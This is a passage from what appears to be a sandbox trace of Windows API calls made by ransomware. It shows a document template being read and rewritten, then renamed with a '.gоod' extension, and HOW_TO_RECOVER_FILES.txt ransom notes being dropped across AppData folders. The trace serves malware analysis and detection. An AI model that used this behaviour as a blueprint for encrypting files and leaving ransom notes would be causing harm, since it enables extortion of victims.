hFile=0x85c, lpBuffer=0x3ab2788, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x204eb968, lpOverlapped=0x0 | out: lpBuffer=0x3ab2788*, lpNumberOfBytesRead=0x204eb968*=0x1000, lpOverlapped=0x0) returned 1 [0244.659] CloseHandle (hObject=0x85c) returned 1 [0244.659] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Document Building Blocks\\1033\\16\\Built-In Building Blocks.dotx", nBufferLength=0x105, lpBuffer=0x204eb320, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Document Building Blocks\\1033\\16\\Built-In Building Blocks.dotx", lpFilePart=0x0) returned 0x68 [0244.659] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x204eb840) returned 1 [0244.659] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Document Building Blocks\\1033\\16\\Built-In Building Blocks.dotx" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\document building blocks\\1033\\16\\built-in building blocks.dotx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x85c [0244.660] GetFileType (hFile=0x85c) returned 0x1 [0244.660] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x204eb7b0) returned 1 [0244.660] GetFileType (hFile=0x85c) returned 0x1 [0244.660] SetFilePointer (in: hFile=0x85c, lDistanceToMove=0, lpDistanceToMoveHigh=0x204eb998*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x204eb998*=0) returned 0x388cc7 [0244.660] WriteFile (in: hFile=0x85c, lpBuffer=0x3ab3a88*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x204eb888, lpOverlapped=0x0 | out: lpBuffer=0x3ab3a88*, lpNumberOfBytesWritten=0x204eb888*=0x10, lpOverlapped=0x0) returned 1 [0244.661] CloseHandle (hObject=0x85c) returned 1 [0244.661] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Document Building Blocks\\1033\\16\\Built-In Building Blocks.dotx", nBufferLength=0x105, lpBuffer=0x204eb320, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Document Building Blocks\\1033\\16\\Built-In Building Blocks.dotx", lpFilePart=0x0) returned 0x68 [0244.661] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x204eb840) returned 1 [0244.661] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Document Building Blocks\\1033\\16\\Built-In Building Blocks.dotx" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\document building blocks\\1033\\16\\built-in building blocks.dotx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x85c [0244.661] GetFileType (hFile=0x85c) returned 0x1 [0244.661] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x204eb7b0) returned 1 [0244.661] GetFileType (hFile=0x85c) returned 0x1 [0244.661] ReadFile (in: hFile=0x85c, lpBuffer=0x3ab5db0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x204eb918, lpOverlapped=0x0 | out: lpBuffer=0x3ab5db0*, lpNumberOfBytesRead=0x204eb918*=0x1000, lpOverlapped=0x0) returned 1 [0244.778] CloseHandle (hObject=0x85c) returned 1 [0244.779] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Document Building Blocks\\1033\\16\\Built-In Building Blocks.dotx", nBufferLength=0x105, lpBuffer=0x204eb320, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Document Building Blocks\\1033\\16\\Built-In Building Blocks.dotx", lpFilePart=0x0) returned 0x68 [0244.779] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x204eb840) returned 1 [0244.779] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Document Building Blocks\\1033\\16\\Built-In Building Blocks.dotx" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\document building blocks\\1033\\16\\built-in building blocks.dotx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x85c [0244.779] GetFileType (hFile=0x85c) returned 0x1 [0244.779] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x204eb7b0) returned 1 [0244.779] GetFileType (hFile=0x85c) returned 0x1 [0244.779] WriteFile (in: hFile=0x85c, lpBuffer=0x3933688*, nNumberOfBytesToWrite=0x1010, lpNumberOfBytesWritten=0x204eb9c8, lpOverlapped=0x0 | out: lpBuffer=0x3933688*, lpNumberOfBytesWritten=0x204eb9c8*=0x1010, lpOverlapped=0x0) returned 1 [0244.779] CloseHandle (hObject=0x85c) returned 1 [0244.779] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Document Building Blocks\\1033\\16\\Built-In Building Blocks.dotx", nBufferLength=0x105, lpBuffer=0x204eb470, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Document Building Blocks\\1033\\16\\Built-In Building Blocks.dotx", lpFilePart=0x0) returned 0x68 [0244.779] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Document Building Blocks\\1033\\16\\Built-In Building Blocks.dotx.gоod", nBufferLength=0x105, lpBuffer=0x204eb470, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Document Building Blocks\\1033\\16\\Built-In Building Blocks.dotx.gоod", lpFilePart=0x0) returned 0x6d [0244.779] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x204eb900) returned 1 [0244.779] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Document Building Blocks\\1033\\16\\Built-In Building Blocks.dotx" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\document building blocks\\1033\\16\\built-in building blocks.dotx"), fInfoLevelId=0x0, lpFileInformation=0x204eb9e0 | out: lpFileInformation=0x204eb9e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x334bde3, ftCreationTime.dwHighDateTime=0x1d327b6, ftLastAccessTime.dwLowDateTime=0x334bde3, ftLastAccessTime.dwHighDateTime=0x1d327b6, ftLastWriteTime.dwLowDateTime=0x8e1bfe89, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x388cd7)) returned 1 [0244.780] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x204eb8c0) returned 1 [0244.780] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Document Building Blocks\\1033\\16\\Built-In Building Blocks.dotx" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\document building blocks\\1033\\16\\built-in building blocks.dotx"), lpNewFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Document Building Blocks\\1033\\16\\Built-In Building Blocks.dotx.gоod" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\document building blocks\\1033\\16\\built-in building blocks.dotx.gоod")) returned 1 [0244.781] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Document Building Blocks\\1033\\16\\HOW_TO_RECOVER_FILES.txt", nBufferLength=0x105, lpBuffer=0x204eb5e0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Document Building Blocks\\1033\\16\\HOW_TO_RECOVER_FILES.txt", lpFilePart=0x0) returned 0x63 [0244.781] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x204ebb00) returned 1 [0244.781] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Document Building Blocks\\1033\\16\\HOW_TO_RECOVER_FILES.txt" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\document building blocks\\1033\\16\\how_to_recover_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x85c [0244.782] GetFileType (hFile=0x85c) returned 0x1 [0244.782] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x204eba70) returned 1 [0244.782] GetFileType (hFile=0x85c) returned 0x1 [0244.783] WriteFile (in: hFile=0x85c, lpBuffer=0x396cd48*, nNumberOfBytesToWrite=0x5d0, lpNumberOfBytesWritten=0x204ebbc8, lpOverlapped=0x0 | out: lpBuffer=0x396cd48*, lpNumberOfBytesWritten=0x204ebbc8*=0x5d0, lpOverlapped=0x0) returned 1 [0244.783] CloseHandle (hObject=0x85c) returned 1 [0244.783] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Document Building Blocks\\1033\\HOW_TO_RECOVER_FILES.txt", nBufferLength=0x105, lpBuffer=0x204ec010, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Document Building Blocks\\1033\\HOW_TO_RECOVER_FILES.txt", lpFilePart=0x0) returned 0x60 [0244.783] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x204ec530) returned 1 [0244.783] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Document Building Blocks\\1033\\HOW_TO_RECOVER_FILES.txt" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\document building blocks\\1033\\how_to_recover_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x85c [0244.784] GetFileType (hFile=0x85c) returned 0x1 [0244.784] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x204ec4a0) returned 1 [0244.784] GetFileType (hFile=0x85c) returned 0x1 [0244.784] WriteFile (in: hFile=0x85c, lpBuffer=0x3970620*, nNumberOfBytesToWrite=0x5d0, lpNumberOfBytesWritten=0x204ec5f8, lpOverlapped=0x0 | out: lpBuffer=0x3970620*, lpNumberOfBytesWritten=0x204ec5f8*=0x5d0, lpOverlapped=0x0) returned 1 [0244.785] CloseHandle (hObject=0x85c) returned 1 [0244.785] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Document Building Blocks\\HOW_TO_RECOVER_FILES.txt", nBufferLength=0x105, lpBuffer=0x204eca40, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Document Building Blocks\\HOW_TO_RECOVER_FILES.txt", lpFilePart=0x0) returned 0x5b [0244.785] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x204ecf60) returned 1 [0244.785] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Document Building Blocks\\HOW_TO_RECOVER_FILES.txt" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\document building blocks\\how_to_recover_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x85c [0244.785] GetFileType (hFile=0x85c) returned 0x1 [0244.785] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x204eced0) returned 1 [0244.785] GetFileType (hFile=0x85c) returned 0x1 [0244.786] WriteFile (in: hFile=0x85c, lpBuffer=0x3973ed8*, nNumberOfBytesToWrite=0x5d0, lpNumberOfBytesWritten=0x204ed028, lpOverlapped=0x0 | out: lpBuffer=0x3973ed8*, lpNumberOfBytesWritten=0x204ed028*=0x5d0, lpOverlapped=0x0) returned 1 [0244.786] CloseHandle (hObject=0x85c) returned 1 [0244.787] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x204ecff0) returned 1 [0244.787] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Excel", nBufferLength=0x105, lpBuffer=0x204eca90, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Excel", lpFilePart=0x0) returned 0x2f [0244.787] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Excel\\*", lpFindFileData=0x204ecd10 | out: lpFindFileData=0x204ecd10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x208e9b07, ftCreationTime.dwHighDateTime=0x1d327b4, ftLastAccessTime.dwLowDateTime=0x12e96cf, ftLastAccessTime.dwHighDateTime=0x1d327c7, ftLastWriteTime.dwLowDateTime=0x12e96cf, ftLastWriteTime.dwHighDateTime=0x1d327c7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x134b040 [0244.787] FindNextFileW (in: hFindFile=0x134b040, lpFindFileData=0x204eccd0 | out: lpFindFileData=0x204eccd0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x208e9b07, ftCreationTime.dwHighDateTime=0x1d327b4, ftLastAccessTime.dwLowDateTime=0x12e96cf, ftLastAccessTime.dwHighDateTime=0x1d327c7, ftLastWriteTime.dwLowDateTime=0x12e96cf, ftLastWriteTime.dwHighDateTime=0x1d327c7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0244.787] FindNextFileW (in: hFindFile=0x134b040, lpFindFileData=0x204eccd0 | out: lpFindFileData=0x204eccd0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x12e96cf, ftCreationTime.dwHighDateTime=0x1d327c7, ftLastAccessTime.dwLowDateTime=0x12e96cf, ftLastAccessTime.dwHighDateTime=0x1d327c7, ftLastWriteTime.dwLowDateTime=0x12e96cf, ftLastWriteTime.dwHighDateTime=0x1d327c7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="XLSTART", cAlternateFileName="")) returned 1 [0244.787] FindNextFileW (in: hFindFile=0x134b040, lpFindFileData=0x204eccd0 | out: lpFindFileData=0x204eccd0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x12e96cf, ftCreationTime.dwHighDateTime=0x1d327c7, ftLastAccessTime.dwLowDateTime=0x12e96cf, ftLastAccessTime.dwHighDateTime=0x1d327c7, ftLastWriteTime.dwLowDateTime=0x12e96cf, ftLastWriteTime.dwHighDateTime=0x1d327c7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="XLSTART", cAlternateFileName="")) returned 0 [0244.787] FindClose (in: hFindFile=0x134b040 | out: hFindFile=0x134b040) returned 1 [0244.788] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x204ecf30) returned 1 [0244.788] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x204ecef0) returned 1 [0244.788] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x204ecff0) returned 1 [0244.788] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Excel", nBufferLength=0x105, lpBuffer=0x204eca90, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Excel", lpFilePart=0x0) returned 0x2f [0244.788] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Excel\\*", lpFindFileData=0x204ecd10 | out: lpFindFileData=0x204ecd10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x208e9b07, ftCreationTime.dwHighDateTime=0x1d327b4, ftLastAccessTime.dwLowDateTime=0x12e96cf, ftLastAccessTime.dwHighDateTime=0x1d327c7, ftLastWriteTime.dwLowDateTime=0x12e96cf, ftLastWriteTime.dwHighDateTime=0x1d327c7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x134ada0 [0244.788] FindNextFileW (in: hFindFile=0x134ada0, lpFindFileData=0x204eccd0 | out: lpFindFileData=0x204eccd0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x208e9b07, ftCreationTime.dwHighDateTime=0x1d327b4, ftLastAccessTime.dwLowDateTime=0x12e96cf, ftLastAccessTime.dwHighDateTime=0x1d327c7, ftLastWriteTime.dwLowDateTime=0x12e96cf, ftLastWriteTime.dwHighDateTime=0x1d327c7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0244.788] FindNextFileW (in: hFindFile=0x134ada0, lpFindFileData=0x204eccd0 | out: lpFindFileData=0x204eccd0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x12e96cf, ftCreationTime.dwHighDateTime=0x1d327c7, ftLastAccessTime.dwLowDateTime=0x12e96cf, ftLastAccessTime.dwHighDateTime=0x1d327c7, ftLastWriteTime.dwLowDateTime=0x12e96cf, ftLastWriteTime.dwHighDateTime=0x1d327c7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="XLSTART", cAlternateFileName="")) returned 1 [0244.788] FindNextFileW (in: hFindFile=0x134ada0, lpFindFileData=0x204eccd0 | out: lpFindFileData=0x204eccd0*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0244.788] FindClose (in: hFindFile=0x134ada0 | out: hFindFile=0x134ada0) returned 1 [0244.788] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x204ecf30) returned 1 [0244.788] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x204ecef0) returned 1 [0244.789] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x204ec5c0) returned 1 [0244.789] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Excel\\XLSTART", nBufferLength=0x105, lpBuffer=0x204ec060, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Excel\\XLSTART", lpFilePart=0x0) returned 0x37 [0244.789] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Excel\\XLSTART\\*", lpFindFileData=0x204ec2e0 | out: lpFindFileData=0x204ec2e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x12e96cf, ftCreationTime.dwHighDateTime=0x1d327c7, ftLastAccessTime.dwLowDateTime=0x12e96cf, ftLastAccessTime.dwHighDateTime=0x1d327c7, ftLastWriteTime.dwLowDateTime=0x12e96cf, ftLastWriteTime.dwHighDateTime=0x1d327c7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x134ad40 [0246.263] FindNextFileW (in: hFindFile=0x134ad40, lpFindFileData=0x204ec2a0 | out: lpFindFileData=0x204ec2a0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x12e96cf, ftCreationTime.dwHighDateTime=0x1d327c7, ftLastAccessTime.dwLowDateTime=0x12e96cf, ftLastAccessTime.dwHighDateTime=0x1d327c7, ftLastWriteTime.dwLowDateTime=0x12e96cf, ftLastWriteTime.dwHighDateTime=0x1d327c7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0246.263] FindNextFileW (in: hFindFile=0x134ad40, lpFindFileData=0x204ec2a0 | out: lpFindFileData=0x204ec2a0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x12e96cf, ftCreationTime.dwHighDateTime=0x1d327c7, ftLastAccessTime.dwLowDateTime=0x12e96cf, ftLastAccessTime.dwHighDateTime=0x1d327c7, ftLastWriteTime.dwLowDateTime=0x12e96cf, ftLastWriteTime.dwHighDateTime=0x1d327c7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0246.263] FindClose (in: hFindFile=0x134ad40 | out: hFindFile=0x134ad40) returned 1 [0246.263] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x204ec500) returned 1 [0246.263] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x204ec4c0) returned 1 [0246.263] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x204ec5c0) returned 1 [0246.263] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Excel\\XLSTART", nBufferLength=0x105, lpBuffer=0x204ec060, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Excel\\XLSTART", lpFilePart=0x0) returned 0x37 [0246.263] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Excel\\XLSTART\\*", lpFindFileData=0x204ec2e0 | out: lpFindFileData=0x204ec2e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x12e96cf, ftCreationTime.dwHighDateTime=0x1d327c7, ftLastAccessTime.dwLowDateTime=0x12e96cf, ftLastAccessTime.dwHighDateTime=0x1d327c7, ftLastWriteTime.dwLowDateTime=0x12e96cf, ftLastWriteTime.dwHighDateTime=0x1d327c7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x134ada0 [0246.263] FindNextFileW (in: hFindFile=0x134ada0, lpFindFileData=0x204ec2a0 | out: lpFindFileData=0x204ec2a0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x12e96cf, ftCreationTime.dwHighDateTime=0x1d327c7, ftLastAccessTime.dwLowDateTime=0x12e96cf, ftLastAccessTime.dwHighDateTime=0x1d327c7, ftLastWriteTime.dwLowDateTime=0x12e96cf, ftLastWriteTime.dwHighDateTime=0x1d327c7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0246.264] FindNextFileW (in: hFindFile=0x134ada0, lpFindFileData=0x204ec2a0 | out: lpFindFileData=0x204ec2a0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x12e96cf, ftCreationTime.dwHighDateTime=0x1d327c7, ftLastAccessTime.dwLowDateTime=0x12e96cf, ftLastAccessTime.dwHighDateTime=0x1d327c7, ftLastWriteTime.dwLowDateTime=0x12e96cf, ftLastWriteTime.dwHighDateTime=0x1d327c7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0246.264] FindClose (in: hFindFile=0x134ada0 | out: hFindFile=0x134ada0) returned 1 [0246.264] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x204ec500) returned 1 [0246.264] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x204ec4c0) returned 1 [0246.264] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Excel\\XLSTART\\HOW_TO_RECOVER_FILES.txt", nBufferLength=0x105, lpBuffer=0x204ec010, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Excel\\XLSTART\\HOW_TO_RECOVER_FILES.txt", lpFilePart=0x0) returned 0x50 [0246.264] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x204ec530) returned 1 [0246.264] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Excel\\XLSTART\\HOW_TO_RECOVER_FILES.txt" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\excel\\xlstart\\how_to_recover_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x82c [0246.264] GetFileType (hFile=0x82c) returned 0x1 [0246.264] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x204ec4a0) returned 1 [0246.264] GetFileType (hFile=0x82c) returned 0x1 [0246.265] WriteFile (in: hFile=0x82c, lpBuffer=0x38369e0*, nNumberOfBytesToWrite=0x5d0, lpNumberOfBytesWritten=0x204ec5f8, lpOverlapped=0x0 | out: lpBuffer=0x38369e0*, lpNumberOfBytesWritten=0x204ec5f8*=0x5d0, lpOverlapped=0x0) returned 1 [0246.266] CloseHandle (hObject=0x82c) returned 1 [0246.266] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Excel\\HOW_TO_RECOVER_FILES.txt", nBufferLength=0x105, lpBuffer=0x204eca40, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Excel\\HOW_TO_RECOVER_FILES.txt", lpFilePart=0x0) returned 0x48 [0246.266] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x204ecf60) returned 1 [0246.266] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Excel\\HOW_TO_RECOVER_FILES.txt" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\excel\\how_to_recover_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x82c [0246.266] GetFileType (hFile=0x82c) returned 0x1 [0246.266] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x204eced0) returned 1 [0246.266] GetFileType (hFile=0x82c) returned 0x1 [0246.267] WriteFile (in: hFile=0x82c, lpBuffer=0x383a258*, nNumberOfBytesToWrite=0x5d0, lpNumberOfBytesWritten=0x204ed028, lpOverlapped=0x0 | out: lpBuffer=0x383a258*, lpNumberOfBytesWritten=0x204ed028*=0x5d0, lpOverlapped=0x0) returned 1 [0246.267] CloseHandle (hObject=0x82c) returned 1 [0246.268] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x204ecff0) returned 1 [0246.268] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\InputMethod", nBufferLength=0x105, lpBuffer=0x204eca90, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\InputMethod", lpFilePart=0x0) returned 0x35 [0246.268] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\InputMethod\\*", lpFindFileData=0x204ecd10 | out: lpFindFileData=0x204ecd10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe8923b24, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0xd3800a8f, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xe8923b24, ftLastWriteTime.dwHighDateTime=0x1d32714, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x134abc0 [0246.269] FindNextFileW (in: hFindFile=0x134abc0, lpFindFileData=0x204eccd0 | out: lpFindFileData=0x204eccd0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe8923b24, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0xd3800a8f, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xe8923b24, ftLastWriteTime.dwHighDateTime=0x1d32714, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0246.269] FindNextFileW (in: hFindFile=0x134abc0, lpFindFileData=0x204eccd0 | out: lpFindFileData=0x204eccd0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe8923b24, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0xe8923b24, ftLastAccessTime.dwHighDateTime=0x1d32714, ftLastWriteTime.dwLowDateTime=0xe8923b24, ftLastWriteTime.dwHighDateTime=0x1d32714, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Chs", cAlternateFileName="")) returned 1 [0246.269] 